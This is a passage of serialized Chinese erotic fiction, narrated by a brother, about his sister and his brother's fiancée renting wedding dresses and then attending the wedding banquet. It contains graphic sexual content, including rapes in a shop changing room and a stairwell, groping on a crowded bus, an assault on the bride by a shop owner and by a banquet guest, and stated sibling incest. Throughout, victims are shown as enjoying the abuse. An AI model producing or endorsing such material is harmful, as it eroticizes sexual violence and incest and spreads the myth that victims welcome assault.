“我知道你喜欢我这样贴在你身上,而且等一下要试婚纱的时候也会较方便一些。”

妹妹说得没错,我们乘公车去着名的婚纱商场时,她紧紧地贴在我背后或手臂上,让我感受到她胸前的柔软,当然也能感觉到她那可爱突出的两个小乳头。

我们进去婚纱商场,逐一欣赏,逐一问价,有的婚纱很漂亮,但很昂贵,我们也会故意进去,让小雯试穿一下,哇,真是漂亮极了,小雯如果这身打扮,一定能比选美会上的美媚更漂亮。当然按那种价钱,我们想也不想会租用。

“哎,beautiful的就是expensive,cheap呢,就不beautiful!”我们走了两小时,小雯开始有点不耐烦,又开始她那种不中不英的英语。

“嗨,我们的婚纱就又便宜又漂亮,你们过来看看。”一个女人声吓了我们一跳,不知道甚么时候有个矮小中年女人跟着我们走,听到我们怨言之后就立即推销自己。

我们不相信,不过反正看看也无妨,就跟着她走,她怕我们不信,继续说︰“我们婚纱本来都是名牌货,只是租用很多次,名牌店平价卖给我们,所以价钱就很低。”她还把价钱告诉我们,果然是比其他店低,符合预算,但最重要是看看款式美不美。

转了好几个弯才到她的店铺,中间隔了很多空格,在这商场的角落,完全没有人流,要不是她出去叨我们进来,我们才不会走到这里。价钱便宜的其中一个原因大概是这里店租便宜吧。

我们看到款式果真漂亮,当然仔细看上去,确实有点旧的感觉,但还是相当理想。那女人还是怕我们不满意,滔滔不绝地说︰“虽然租过多次,但我们都干洗得很干净,你看好像全新那样。”

我们进了店里,里面有个四十来岁男人忙来招唿我们,那女人说︰“两位慢慢挑选,阿SAM会帮你们。”说完又出去,看来她又要去叨另一单生意来。

这个阿SAM拿来很多件婚纱,在小雯身上比比划划,对我说︰“你的太太这么漂亮这么年轻,穿起甚么款式都会很好看。”

小雯听他这样说,对我笑笑,悄声说︰“我们像夫妻吗?”她看来看去,又对我说︰“不知道未来大嫂要穿甚么款式的呢?”

我在她胸前一划说︰“当然要又性感又暴露那种。”

小雯在我手臂捏一下说︰“你呀,就是这么色的,我才会给你弄上床……”

但她还是挑了几件性感的,进去更衣室里试试看。

阿SAM好像有点歉意地对我说︰“对不起,我们没有女店员,麻烦你进去帮她一下,婚纱自己一个人比较难穿好。”

我求之不得,立即跟着小雯进去。这店子真是甚么都是简陋的,更衣室也是小小的,连镜子都没有,而且只有一块布遮住,换好婚纱还要走到外面去照大镜子。

小雯脱掉性感的T恤和短外裤,全身只剩下一条小内裤,我从后面偷袭她,抓住她两个日益丰满的乳房,使劲搓弄着,小雯羞红了脸,悄声说︰“二哥,不要再弄我,我等一下给你挑起欲火来,就会给那店员听到。”

这一招果然使我不敢乱来,但我的鸡巴很胀,顶在裤子里觉得很痛。我还是帮妹妹拉好婚纱的拉链,到底是租过多次的婚纱,扣子和拉链都很难弄好,背后有个扣子还不能扣好,我就算了。

我从她正面看看,是低胸的婚纱,两个乳房都露了一大半,妹妹的奶子又嫩又白,由于婚纱不是度身订做的,小雯的身子还是比较小,所以能从婚纱上面隐约看到她两颗小乳头,那种若隐若见看得我的鸡巴更粗壮起来,顶在裤子里很难受。

“小雯,真是很漂亮啊!”我赞叹道。

小雯很高兴起说︰“是吗?是吗?”于是忙冲出更衣室,在外面的大镜子前照照,连她自己也惊叹得啊啊声,她在镜前转来转去,对自己的美态很满意。

我跟着她出去时,才发现自己的裤裆里已胀起一大团,而且里面有点湿的感觉,刚才妹妹的美态使我有点禁不住,看来我要失态了,忙对阿SAM说︰“不好意思,我要去一下厕所。”阿SAM拿一条锁匙给我,我知道商场的厕所都要用锁匙的,不过那个厕所很遥远,是在商场的另一边,害得我要稍弯着腰走一段长长的路。

各位看倌,我去厕所这条路来回大概要二十分钟,妹妹这段时间在那婚纱店里会不会多试几件婚纱,或有甚么事发生呢?

小雯自己都有点陶醉,站在大镜前转来转去,美得像个公主。突然她觉得背后的扣子好像崩开了,忙用手按着婚纱。阿SAM这时走过来,帮她拉着背后的婚纱,说︰“不好意思,扣子松掉,来,快进去更衣室吧。”小雯说了谢谢,就忙往更衣室里冲。

一进更衣室里,阿SAM就一下子把小雯的婚纱扯了下来,小雯不知道他会这样,顿时不知所措,任由两个大奶子赤裸裸地展现在这店员的眼前。阿SAM见机会难得,就从后面把她的两个奶子握在手掌里,又摸又捏,小雯才啊地叫了一声,想要推开他的手时,已觉得一阵阵又趐又麻的感觉从胸脯上传来,心想回想着跟我相奸时候那种充满淫亵的场面,不觉满脸羞红。

小雯觉得双腿一软,整个人都倒在阿SAM怀抱里,阿SAM把她正面扳过来,低头就吻上她的小嘴,手掌按在她的乳房上又轻又重的揉抚起来。小雯忙抗拒说︰“不行……不要这样……我二哥……不……我男友就快回来……”

阿SAM根本没理她的要求,嘴巴从她的脸上吻到她的乳房上,又用舌尖逗弄她的乳头。小雯感觉乳尖传来阵阵麻痒,被吸得浑身酸软,阿SAM趁机把整件婚纱脱掉。

小雯被他抚摸得眯起大眼睛,粉臀轻轻摇摆,小嘴直喘着气,阿SAM的手已经放在她的小内裤上来来回回抚摸着,当到达她双腿之间时,就朝那细缝里一按,本来已经淫水充足的小穴立即被挤出淫水来。

阿SAM淫笑说︰“小妹妹,想不到你年纪轻轻,已经这么敏感,是不是已经给你男友干过了?不要紧,叔叔在你结婚前教你几招,等你可以好好服侍你老公。”说完把她的湿淋淋的内裤脱下来,手指往她的小穴里面一钻。

“啊……啊……”小雯全身都趐麻起来,忘掉一切现实的情况,阿SAM这时也脱下自己的裤子,把小雯放坐在自己腿上,胀得老大的鸡巴已经伸到她的两腿间之间,龟头顺势找到小洞口,他把屁股一挺,再把小雯的腰往下一按,鸡巴顺势全根尽没入小穴里,压得淫水唧唧作响。

阿SAM看来是色中好手,轻轻摇着屁股,再用手摇动小雯的身体,使他的大鸡巴在我妹妹的小穴深处不断搅动,她给这种高招的手段玩弄得很舒服,终于忍不住浪叫起来︰“啊……好叔叔……你怎么可以……在这店里干我……干得我好舒服……啊……啊……叔叔……大力干我……”

阿SAM受到鼓励,把我妹妹扶站起来,让她贴在更衣室的围板上,然后从后面狠力猛干,下下用力戳到底,屁股快速磨动,妹妹给插得浪液四溢,身体直抖,到达了高潮,全身软了下来。

阿SAM见她全身软了,不能扶在围板上,于是便把她抱着,想要放在地板上,但更衣室太小了,干脆把她抱到更衣室外,放倒在地板上,把她双腿扛在肩上,更卖力地抽插。

“啊……不要……好叔叔……不要在这里……会给人家看到……”小雯给他弄到外面,羞得脸全红了。果然在这里,外面透过玻璃橱窗就能看到他们。

只是这店实在太偏僻,所以外面没人。

阿SAM这时也喘着粗气,说︰“小妹妹……你这么淫贱……又怎会怕给别人见到……”说完再次用鸡巴直顶几十下,每一下都撞到她的花心。

小雯不敢往外看,把头转向里面,刚好看到那个落地大镜子,镜里见到自己给这陌生的店员脱得精光,压在地上,自己的大奶子给他又摸又捏,小穴给一根又丑又粗大的鸡巴不断抽插,她想︰“我甚么时候变得这么淫荡,随便在逛街的时候都会给男人骑干?”她这一想,一股奇怪的感觉再次延遍全身,使她不断挺起屁股,让那男人干得更深。

“啊……”小雯叫了出来,小穴紧缩着,阿SAM也不能再弄,把大鸡巴深深插进她的小穴里,顶在她的花心上,一股又一股的精液直射进她的花心里。

我终于去完了厕所,好不容易才压下欲火,回来看到妹妹和那店员脸都红红的,好像做过甚么苦力工那样,妹妹本来直直的头发有点乱。

我问道︰“选好了吗?”小雯点点头说︰“嗯,这里不错,price也合理,不过我看美美也要自己来试试,因为她身裁比我好,也比我长得高。”阿SAM给我们一张卡片,我们就高兴地回家了。

各位看官,你们看我妹妹这副淫荡的性格看来是妈妈的遗传,到底我这小淫妹会再有甚么“淫”遇,或者未来嫂嫂又会不会来这间婚纱店里试婚纱呢?下回分解吧。

06)美美说︰慢慢选一件漂亮的

上次说到我和妹妹去婚纱店里为哥哥和未来嫂嫂挑选婚纱,哪知我才去了厕所一趟,那边妹妹已经给店员压倒在地奸淫了,最后还要决定要这店的婚纱。世上真是无奇不有。各位看倌,请看看这回又会有甚么怪事发生。

哥哥的婚礼最后决定由我作伴郎,妹妹作伴娘。离大好日子只剩下几天,按我们乡俗,新郎新娘不能再见面,也不能说电话,直至结婚那天。这段时间有甚么事就由我和妹妹两个人作跑腿,负责来往男女家传递物件。

“哥哥,今天有甚么要我带给嫂嫂的?”我每天都要问一问,因为他比较木纳,我怕他有甚么事不好意思叫我做。

“今天没甚么。这几天辛苦你了。”哥哥说完,笑笑又说︰“我倒是有点挂念美美,已经好几天没见面。”

我听到他这样说,立即站起来说︰“好吧,哥哥,我现在就去嫂嫂那里,替你去跟她见见面。”还捉狭地说︰“要不要我替你亲亲她的嘴,摸摸她的奶?哈哈哈!”哥哥见我取笑他,就追着我打我。

且说美美那边,这天要去租婚纱的,于是由我妹妹小雯陪着她去。小雯又是穿得很性感,一件紧身T恤,一件短裙,反观美美就比较保守,到底快要做新娘了,所以穿着一件长长短袖连衣裙,不过这件是白色的,质料轻薄,当裙子贴在身上时,内裤和胸罩的形状也是会显现出来。

两个这么漂亮的女孩走在街上,自然惹来不少倾慕的眼光,当然也夹杂有不少猥亵的眼光,很多男人总是色迷迷地看着她们。很不幸,这天的公车特别挤,为了节省时间,她们没再等下一班,就挤了上去。

小雯穿得这么辣,很快就遭到袭击,一只毛茸茸的大手在她圆圆的屁股上摸着,见小雯没有反抗,就掀起她的短裙,手掌伸进她的内裤里,抚摸她又圆又滑的屁股。小雯往后看去,只见一个三十几岁穿西装的男人,那男人还四处看,若无其事那样,小雯心想︰“遇上这样的无赖实在没办法,现在叫起来给嫂嫂见到就不好意思了。”

所以她稍为移动一下身子,结果有其他人挤过来,把她和美美分开了,小雯看美美看不见她,就准备推开身后那个男人,怎知这时那手掌已经摸进她的屁股沟里,手指还碰到她的阴唇上,逗弄两下,小穴已经湿湿的,那粗手的中指就滑进她的小穴里。

小雯差一点叫起来,全身都趐软了,靠向前面另一个男人的身上,两个奶子刚好贴在那人背上,那人知道他身后是个美少女,当然也静静享用这下艳福,当然有时也随着车子的晃动而摇一下背部,使小雯的两个乳房可以免费替他擦背。

那个摸她小穴的男人这时还不满足,把两根手指插进她的小穴里,还出出入入地抽插她的美穴,搞得小雯双颊泛红,一阵阵美感从小穴那里往上冲,淫水把那人的手掌都沾湿了。

美美被挤开之后,身前有个穿短裤的工人,经常挨向她的身上,于是她往后退,那人也跟着她挤,然后又打个呵欠,口里发出很臭的气味,美美很恶心,又再往后退,那人像上身的鬼那样跟着她,结果给挤在车厢边,不能动弹。车上越来越多人,那人也故意挤向她,最后贴紧在她身上。

由于是正面对着他,美美双手放在胸前,阻止他碰到她那柔软的乳房,但那男人的大肚腩却紧贴在她的肚皮上,不仅如此,她还觉得一根暖暖的硬棒顶在她小腹上,随着车子摇晃,那巨棒越来越大。

美美闭起眼睛,不想看他,也装作不知道那顶在小腹上的那硬棒是甚么,反正男人比较高,怎么搞也只能贴在她的小腹上。

突然,她感到有对手抱住她的腰,她睁开眼,见那男人咧着嘴笑,她想要唿救,其他人却像视而不见,都市人就是这样,没有落井下石已经很好,绝对不会有人那么有公义。

那人竟然把她抱起来,这样那巨棒就从她的胯间顶了进去,隔着薄薄的裙子和内裤,磨起她的阴唇来,美美双眼有点发昏,即使是我哥哥这男朋友也没这么做过,今天搭公车竟然被这般侮辱。

她把手放下去,准备去推开那人的肚子,那男人向她一挤,她两只手都给夹住,缩不回来,她胸前那两座高山便变得毫无抵挡力量,那男人趁机再一挤,美美的两个趐胸就贴在那男人的胸前,那人还扭着身体,把她的大胸脯来来回回地挤着。

原本美美的连衣裙不性感,胸前的扣子扣到半胸上,但给那男人有意识地挤来挤去,扣子都被扯开了两颗,加上她的乳房还真大,结果大半边白柔柔的乳房展现了出来,乳沟清楚能见,羞得美美再次闭上眼睛,心想︰“过两天就要做新娘,这身体迟早要给男人挤,算了吧!”

两个美少女在公车上被侮辱透了,终于到站,狼狈地下了车。妹妹小雯见到美美衣服都有点乱,知道在车上也是被男人挤,心照不宣,只是说︰“这班车实在太挤了。”美美忙点头称是,心里还是乱乱的,想着刚才贴在自己小腹上和胯间暖乎乎的硬棒。

小雯带着美美来到店里,阿SAM正和另一个男人无聊地抽烟下象棋,整个婚纱店都充满烟味,美美当然觉得不太好,但也知道这次婚礼要节省一些,不能花费太多,否则以后生活会很辛苦。

阿SAM见到小雯,忙来打招唿说︰“小姐,你们来了,先谢谢你们。这位是我弟弟阿TOM。”他又转向TOM说︰“这位小姐就是上次来的那个很漂亮的小妹妹。”说完还朝小雯眨眨眼。小雯知道男人一定会把自己艳遇到处告诉别人,羞着满脸通红。

“这是我未来嫂嫂,她才是新娘,你将上次我选的那几件拿来给她试试。”妹妹对阿TOM说︰“我是她的伴娘,你选几件伴娘服来给我试试。”

阿SAM见到美美比小雯更加美貌动人,而且很端庄贤淑,立即又哈腰又点头,找来那些新娘服来给美美穿,小雯进更衣室里帮美美穿上一件又一件,美美穿起来果然比公主还要漂亮,她很满意地租了两件婚纱,一件晚礼服,一件褂子(像古装的那种红色丝绸衣和裤子)。虽然除了那件褂子外,其他都挺性感的,胸脯露出一大片,但真的很漂亮,一生人只有一次,没所谓。

在旁边看的SAM和TOM都看得眼睛快要爆炸,鼻子快要流血,这么漂亮的美少女在他们面前换来一套又一套性感的服装,简直是神仙生活也比不上。

“喂,SAM,伴娘婚纱呢?”小雯见美美已经租好了婚纱,就要试试伴娘服,上次都没试过。

“对不起,我这里没有伴娘婚纱。”阿SAM道歉说︰“我弟弟那间婚纱店就有。”他回头对TOM说︰“你带这位小姐去选伴娘衫,记住要算便宜些。”说完还向他眨眨眼。

小雯见美美手里提着租好的婚纱说︰“大嫂,你在这里等等,我去随便选一件伴娘衫就回来。”美美笑笑说︰“别急,慢慢选一件漂亮的。”

TOM带小雯出去,美美坐在店里,SAM向她笑笑,她觉得他的笑容很难看,好像在淫笑,所以低下头,不去看他。SAM突然拍一下大腿说︰“有一件更漂亮的婚纱前几天才买来,是意大利名师设计的,你要不要试试,价钱我不会算得太贵,和你选的两件婚纱都相同价钱。”

美美觉得反正没事做,不如就试一下。阿SAM在婚纱堆里拿出一件来,美美一看就觉得很漂亮,那些襄在婚纱上的明珠特别好看,便拿着婚纱到更衣室里换。

且说TOM带着小雯走,一边说︰“我们兄弟就都是做婚纱,他是大哥,做婚纱较赚钱,我是小弟,专做伴娘衫、结婚饰品,赚得比较少。”小雯似听非听地嗯嗯应几声,她不想关心这种其貌不扬的兄弟。

TOM从后楼梯走去,小雯问︰“要走楼梯吗?”TOM说︰“我的店子在四楼,这里电梯很难搭,你跟我来就行了。”

我这小妹妹还是入世未深,跟着一个男人走到后楼梯,怎么说也是不好。果然当小雯跟他进了后楼梯,防烟门一关,楼梯变很很幽暗,商场的后楼梯总是很少人走的。

TOM一转身就把小雯抱着,小雯叫了起来,TOM说︰“漂亮的小淫妹,你别叫了,要叫等我干你的时候才叫吧。你上次来我哥哥的婚纱店,给他干上一炮,这次你也要给我干一炮。”一边说,一边伸手到她的短裙里,把她的内裤扯到小腿弯来︰“哇塞,还没搞你,你就全湿了?”

那其实是在公车上给那西装男人搞的,小雯给他这么一说,脸全红了,嘴里还说︰“不是……不要这样……”但身体已经给TOM按在楼梯旁,裙子给翻了起来,可爱的小穴都暴露在TOM面前,TOM的手指已经挖进她的小穴里,不断搅弄,搞得她淫水淋淋,弄湿楼梯。

“啊……啊……不要再弄了……我……”小雯吃吃地呻吟起来。

“不要弄,那要甚么?要干吗?”TOM说完,脱下裤子,掏出大鸡巴,上面龟头已经在滴水,好恶心,他向下站两三个梯阶,伏身压在小雯身上,位置刚刚好,大大的鸡巴一下子插进她淫水荡漾的小淫穴里。

“啊……好叔叔……你们两兄弟……都真会干……啊……啊……”小雯给抽插得七魂不见六魄。

TOM把她的那对修长的美腿推上去,捧起她的屁股,把自己的臀部用力一挺,巨大的龟头再次攻进小雯温暖的小穴里,然后慢慢的扭动着屁股,使鸡巴在她的小穴里搅动。

小雯全身有说不出的趐麻酸痒,感到TOM那钢铁般的肉棒在她肉洞里来回冲刺,那种压迫感直逼喉头,尤其当鸡巴顶到她的子宫时,她都忍不住叫出来,小穴里的淫水更是流个不停。

TOM把小雯的紧身T恤推上去,把里面的乳罩扯掉,她那两个圆圆大大白白净净的大馒头抖露了出来,给TOM的手掌捏弄着,当TOM用手指捏她两颗可爱的小乳头时,她全身抖动,嘴巴“啊啊”呻吟声,淫水再次泄了出来,她先来一个高潮。

“干你娘的……小淫妹……这么敏感……这么快就高潮了……”TOM喘着气,把小雯的身体反转过来,让她趴伏在楼梯上,上身在地上,下身在几级楼梯上,这样把小雯的双腿一打开,大鸡巴从她双腿间的小穴再次插了进去,这种姿势使鸡巴插得更深入,肉棒再次开始猛烈抽插,尖端不停地碰到子宫壁上,使小雯觉得内脏全给挤烂了。

“啊……不行了……我快死了……我给你插破了……啊……啊……”小雯呻吟声越来越大,汗水都流了出来。

TOM见小雯两个大奶子在晃动着,突然把她的双手押到她背后,小雯的上身没有支撑点,两个大奶子就贴在地上,TOM再用力扯着她的细腰,疯狂地抽插,把小雯干得灵魂出窍,她不禁扭动着屁股配合他的攻势,但这样一样,两个大奶子就在地上磨动着,地面的砂粒刺激在她乳头上,使她又大叫起来︰“啊!不行……这样会磨破……我的奶子……”

TOM更兴奋地抽插几十下,干得小雯两眼翻白,淫水直泄,高潮又来了,TOM的鸡巴也捅进她的子宫上,热热的精液直射进她的子宫里。

讲回阿SAM这店里,美美在更衣室里换上婚纱,背后的扣子总是扣不好,小雯又还没回来,真气人。突然更衣室的布一打开,阿SAM进来说︰“小姐,你穿了很久还没穿好吗?我帮你扣好。”

美美虽然觉得有点不妥,但只是背后给这店员看到,不会有问题。阿SAM靠近她,帮她拉一下背后的婚纱,准备扣上,美美本来一直在背后的手放下来,以为阿SAM会帮她扣好,怎知道阿SAM不但没扣上,而且把其他的扣子都解开,婚纱向下一翻,美美两个大乳房都抖了出来,她尖叫一声,阿SAM的手捂住她嘴,她用手去推开他的手时,他另一手已经抓向她的乳房,而且捏弄起来。

“可爱的小淫妹,刚才和你来的那个小淫妹才给我干一炮,你比她更漂亮,让我干你两炮……”说完再次捏弄美美的大乳房,乳头当然不会放过,他用手指去捏弄她两颗可爱的小乳头,弄得她唔唔地发出声音。

各位看倌,我这可怜的未来嫂嫂,过两天就要成为新娘,现在却给这陌生店员凌辱,这个可恶的阿SAM会不会把我哥哥最珍贵的洞房专利夺去呢?又要等下次再讲了。

07)爸爸说︰这媳妇还真不错

上集讲到妹妹和未来嫂嫂去婚纱店租婚纱,结果妹妹给拖到了商场后楼梯强奸,而未来嫂嫂给店员从后偷袭,究竟后事如何,且慢慢看看这一集。

美美的奶子给阿SAM弄了两弄,玩了两玩,全身都发麻了,我哥哥从来没这样对她,她也不知道给男人弄自己的奶子会发麻成这个样子,登时全身趐软,任由阿SAM轻薄。

阿SAM这时放开摀住嘴巴的手,美美已经软软地躺在他身上,阿SAM一手继续捏弄她的乳房,另一手伸进婚纱里,直钻进她的内裤,先抚摸她的阴阜,再下去挤进她的小穴,美美全身发抖,开始急喘起来。

阿SAM上次干上小雯之后,一直想再干多她一炮,这次竟然有这么一个更漂亮的女孩送上门,他又想照样把她压在外面地上干一炮。他把她从婚纱里拖出来,美美全身只剩下一件内裤,软软的任由他抱出更衣室外。

阿SAM把她放躺在地上,双手仍抚弄她的两个大奶奶,还用嘴巴去吸、去舔,舌尖逗弄她的乳头,弄得她全身颤抖。

美美扭着身体,回头不想看阿SAM的那副淫脸,突然看到落地镜里,自己半裸着给一个陌生男人吻着捏弄着奶子,“我两天后是大文的妻子了,现在竟然躺在这里,任由这种丑男人玩弄。”美美的脑子一片混乱,不知那来的力量,她在阿SAM脸上狠狠打一巴。

阿SAM吓了一跳,退后几步。美美趁机站起来,没说甚么,跑进更衣室里穿好自己的衣服。

这时小雯回来了,她的头发又有点乱,手里拿着一个袋子,是伴娘婚纱。

他看到阿SAM和美美没说话地坐着,阿SAM脸上那五指手印还很明显,笑嘻嘻地说︰“大嫂,选好了,我们回去吧。”说着推着美美走出店。

她还故意回去悄悄对阿SAM说︰“叔叔,你这次可糗了,我嫂嫂比我纯情呢!你可以干上我,不等于可以干上她啊!你弟弟比你聪明,他在后楼梯干了我一炮。”说完笑嘻嘻地走出店子,看着SAM满脸懊恼的样子,她特别高兴。

很快过了两天,婚宴当然是在哥哥做事的那个酒楼设置,哥哥那些同事精心为我哥哥设置这婚宴,酒水都比较便宜,而且设置在五楼大厅,这层楼面较小,除了我哥哥的婚宴外,没有其他人。有个同事姓廖的,高高大大,叫做“尿兄”(与廖谐音),是我哥哥的老死,他俏俏告诉我说已经计划好来玩新郎新娘,祝贺他们新婚。

整晚热热闹闹,我跟着哥哥跑来跑去,帮他顶了几次酒,但他还是给灌了七分醉。本来这晚闹来闹去,乏善可陈,全部说了我怕各位看官也会厌,但有几件大家可能会觉得有“性”趣的,说一下。

婚宴上每个人都穿得很漂亮,我妈妈出动最贵的套装裙,我爸爸也穿上从来没穿过的西装,不过还是不结领带,妹妹小雯当然漂亮,她的伴娘衫很衬色,不过她只化个淡装,不想抢新娘风头。但最漂亮当然是新娘美美,她第一套婚纱出场时,很多人都惊呆了,他们从没真实见过这么漂亮的女孩,如果说见过,只有在电视上见过的明星才能相比。尤其是性感婚纱外露的乳房,使哥哥那些男同事都看呆了,差一点口水都流出来。

不要说这些好色的同事,就是我爸爸眼睛也是不停地看。到了新郎新娘跪在地上向他和妈妈敬茶时,爸爸的眼睛就朝美美那乳沟看进去,喝完茶之后,爸爸递一封红包给她,她接了红包就深深鞠一弓说︰“谢谢爸爸!”就这一弓身,本来有点不合身的婚纱垂下一些,从那宽敞的胸口看进去,哇塞,连两颗可爱的小乳头都看得见。

爸爸说︰“不用谢,不用谢,快起来。”就伸手扶她一下,这一下使美美更靠近爸爸,两个大奶子看得更清楚。等哥哥和嫂嫂走开时,爸爸自言自语道︰“这媳妇还真不错,很伟大。”

到了婚宴中间,美美离场又要到新娘房(更衣室)去换另一套,小雯刚好去了厕所,所以她只好叫我陪她去,我高兴得心扑扑跳,原来她只是叫我帮她拉拉长尾婚纱裙。

更衣室要穿过一条长廊才到,我左看右看,周围没人,就偷偷把她的长尾裙尾掀起,想偷看一上她的春光。很失望,甚么都看不见,原来里面还有一层纱,只能隔着纱,隐约看见(其实都看不见)她那修长的玉腿。

突然美美“啊”地叫一声,我吓了一跳,我只是轻轻掀起,怎么事败呢。我抬起头一看,差一点喷出鼻血来,美美竟然半裸地站着,婚纱掉在地上,她可能太过惊慌,两个乳房大大地展现在我眼前,这一次我清楚看到她两颗暗粉红很可爱的乳头。

她惊慌之后,忙摀住乳房,我张着嘴,甚么都说不出来,她不好意思地说︰“对不起,二文,这婚纱店的婚纱租用很多次,扣子不好,容易松开了。”我才舒了一口气,帮她拉起婚纱。

当我拉起来时,她再次放开手,让我替她穿上婚纱,扣上后面的扣子,然后转到前面来,替她扣上胸前的扣子,我的手故意碰到她的胸部,那两个乳房果然跟我想像一样,虽然隔着婚纱,但我感觉那是又柔软又有弹性。哥哥不知道是不是前生修道,这世得到这么个漂亮的老婆。

美美红着脸说︰“谢谢二文。”我不敢造次,忙送她进新娘房。

婚宴完了,美美穿着晚装送各亲友走,她的爸爸对我爸爸说︰“美美交给你们了。”说完也走了。最后只剩下我们几个,付了钱,收拾了金器(婚礼总是要用很多金器),准备回家,连那些侍应都走光了,整个五楼只剩下我们几个。

“哥哥呢?”小雯问我。我们这时回头一看,原来哥哥还和尿兄在喝酒。两人都喝得脸红红的。

我走过去,拉起哥哥,尿兄说︰“喂,别走别走,我还要玩新郎新娘。”

我说︰“刚才不是都玩过了吗?”

尿兄说︰“小弟弟,刚才婚宴很多小孩子,玩得要斯文些;现在呢,都没人了,就要玩成人的!”他转头问哥哥说︰“大文,你说,要不要再玩?要不要尽兴?”

哥哥醉得脸红红,有点口吃说︰“要……要继续玩……要尽兴才行。”

大家只好又回来酒席桌边,看尿兄要玩甚么。他拿来六个碟,碟用碗反罩,里面好像有些甚么。尿兄说︰“今天大文结婚,我们各位要吻贺一下新婚,这里是我们刚才吃剩的烤猪,每碟都有个部位,大家选一个碟,看是甚么部位,就吻新娘那个部位。来,谁先选?”

小雯立即举手说︰“很有趣,我先来。”

尿兄说︰“理论上要给新郎先选……”话未说完,小雯已经掀开一碟,说︰“这是甚么?”尿兄不徐不急地说︰“那是猪背,你吻新娘的背部吧!”小雯就跑到新娘的背后,还解开她晚装背后的扣子,在她白白滑滑的背上深深地吻了下去,吻得美美哈哈笑了起来。

尿兄说︰“好,这次轮到新郎。”

哥哥颤抖着手,把碗掀了好几次都掀不起来,他确是醉了,还是我帮他掀,“是猪腿!”我叫了起来︰“哥哥,你要吻嫂嫂的大腿。”

哥哥点点头说︰“好……好……”说完整个人跪在地上,把美美的长裙掀起来,她两条白皙嫩滑的美腿露在我们眼睛,哥哥在靠近膝盖的大腿上吻了一下。

尿兄大叫说︰“不行,不行!要吻上面一点。”

哥哥说︰“好,好,吻上面一点。”说完竟把美美的长裙全掀了上去,美美那双又白又嫩的大腿都露了出来,还是她忙按着,否则连内裤都展露出来。

哥哥在她大腿内侧吻了下去,美美咯咯地笑起来︰“好痒,不要,不要。”

接着是爸爸,当他掀开时,我们大叫起来︰“是猪嘴!”

爸爸脸有点红说︰“美美,不好意思了。”美美没有反对,反而闭起眼睛,把头抬起来,爸爸靠近她,在她的小嘴上吻下去,四片吻相接时,我们都鸦雀无声,只有尿兄急促说︰“吻下去!来个法国湿吻。”

爸爸本来对这美媳妇都有些意思,现在给尿兄鼓励一下,竟然托起美美的下巴,舌头伸进美美唇里。美美本来咬着牙,但这么多人在看,怕爸爸难堪,结果微微张开嘴吧,爸爸的舌头就弄了进去,狂吻着这儿子的新娘。美美给爸爸吻得深吸急促,良久才吻完。我们都大拍手掌,连哥哥也拍手。

接着是妈妈,当他掀开时,我们大叫起来︰“又是猪腿?”

尿兄忙说︰“不是,不是,这是猪手,是猪前腿!”

妈妈于是在美美手臂上吻了一下说︰“祝你们新婚愉快,连生贵子。”

美美也很斯文地说︰“谢谢妈妈。”

轮到我,我选了一碟,尿兄悄悄对我说︰“这碟留给我,你选那碟。”

我不理他,说︰“是甚么,是甚么?我要这碟。”我用力一翻,他们叫了起来︰“猪屁股!哈哈哈。”

美美脸全红了,我忙说︰“不好意思,嫂嫂。”虽然我也对这美丽的嫂嫂存有歹念,但在这么多人面前,总是不好意思。

尿兄可不客气,把美美拉在一张酒席桌上,把她按伏在桌边,把她的长裙撩起,这次拉到她细腰上,美美两条白嫩的大腿和薄丝质的内裤都现了出来。

我只好走上前,在她两个圆圆嫩嫩的屁股上,隔着内裤吻了一下。虽然是这样,我还能感到她那屁股的柔嫩,和一股醉人的香味。

尿兄大叫︰“不行,不行,要脱下内裤才吻。”

美美抗议说︰“你们不能这样。”

我想起刚才偷看美美的裙底风光,害她婚纱掉下来,给我看到她两个豪乳,但她没责怪我,我心里有点感激,所以这次我故意说︰“不要,不要,猪屁股好臭。”惹得他们都大笑起来。

尿兄悄悄跟我说︰“你看,你浪费了一个大好机会。要是我呀,就把她内裤脱下来,吻得她淫水直流。”

妹妹说︰“你们别说话了,尿兄,你只能选最后一碟,到底是甚么?”

尿兄哈哈笑着打开最后一碟,我们“啊”一声,问︰“这是甚么?”

尿兄说︰“这是猪乳头,烤过熟,你们看不清楚。”

美美脸全红了,说︰“不行,你们怎么可以这么色……”

尿兄走过来,美美退后几步,屁股顶在酒席桌边。妹妹推一下哥哥说︰“尿兄说要吻你老婆的乳头,你还不抗议?”

哥哥醉意十足说︰“尿兄……你要好好地吻……不能咬……”

尿兄好像得到圣旨那般说︰“谢主隆恩。”说完就走到美美面前,伸手到她背后解开她的扣子,说︰“嫂子,你别怪我,你老公批准的。”说完把她推倒在桌子上。

美美这时也闭起眼睛,她知道玩新郎新娘总是会有这种色色的节目。

尿兄在美美外露的半边嫩乳上亲吻着,我们其他人竟然都鸦雀无声,没人抗议。美美最初还咯咯笑,后来尿兄的舌头在她大乳房上舔的时候,她没再笑了,唿吸急促起来。

尿兄抬起头对我们这些围观的人说︰“好戏要上演了。”

各位看倌,到底尿兄要演甚么好戏,大家当然心中有数,但下集我还是描述一下这令人喷鼻血的场面,别错过。

08)尿兄说︰愿玩服输

尿兄抬起头对我们这些围观的人说︰“好戏要上演了。”说完就把美美两条肩带往她两边扯去,然后整件晚装从上向下扯了下来,直扯到她的小腹上,她白皙的上半身胴体全露在我们这些人的眼前,一时间,我们都不知道要看甚么地方,看她的胴体,细腰,还是最重要的两个大乳房,或是大乳房上面的两颗颤动的小乳头。

妹妹喃喃说︰“要吻乳头,也不用整个上半身都脱了。”

尿兄对我哥哥这个美妻毫不客气,身体压了上去,双手就握着她的那对大乳房,又摸又捏,嘴巴靠上去,舌头伸出来,就在乳头上又亲又吻。美美嘴里只有一个单词︰“不要,不要。”但后来连这个单词都听不见,只是一阵阵闷哼声。

尿兄吻了右乳就来吻左乳,美美只觉得一阵阵的美感,那时在婚纱店里给那店员吻得魂魄都飞走了,现在又有那种感觉,身体不知不觉地扭动起来,本来在小腹上的晚装都掉到地上,我这个新婚嫂嫂竟在在酒楼这里给脱得全身只剩下一件内裤,被压在餐桌上凌辱着。

“啪啪啪!”妹妹在尿兄的背上拍了几下说︰“好了,好了,够了,别把我哥哥的专利都拿去了。”

尿兄这才依依不舍离开正在娇喘的身体,美美也急急忙忙叫小雯帮她穿好衣服。

尿兄说︰“下一个节目是‘新娘寻夫记’,新娘要捂起眼睛,摸摸我们四个男人,看看能不能找出谁是老公。不论找到哪个人,都要吻他一下。”

小雯说︰“这容易。”

尿兄说︰“小妹妹,你不懂,这不容易!新娘要伸进我们的裤子里,摸摸我们的烂鸟决定谁是老公,决定老公之后,就要帮那人口交,直至射出为止。”

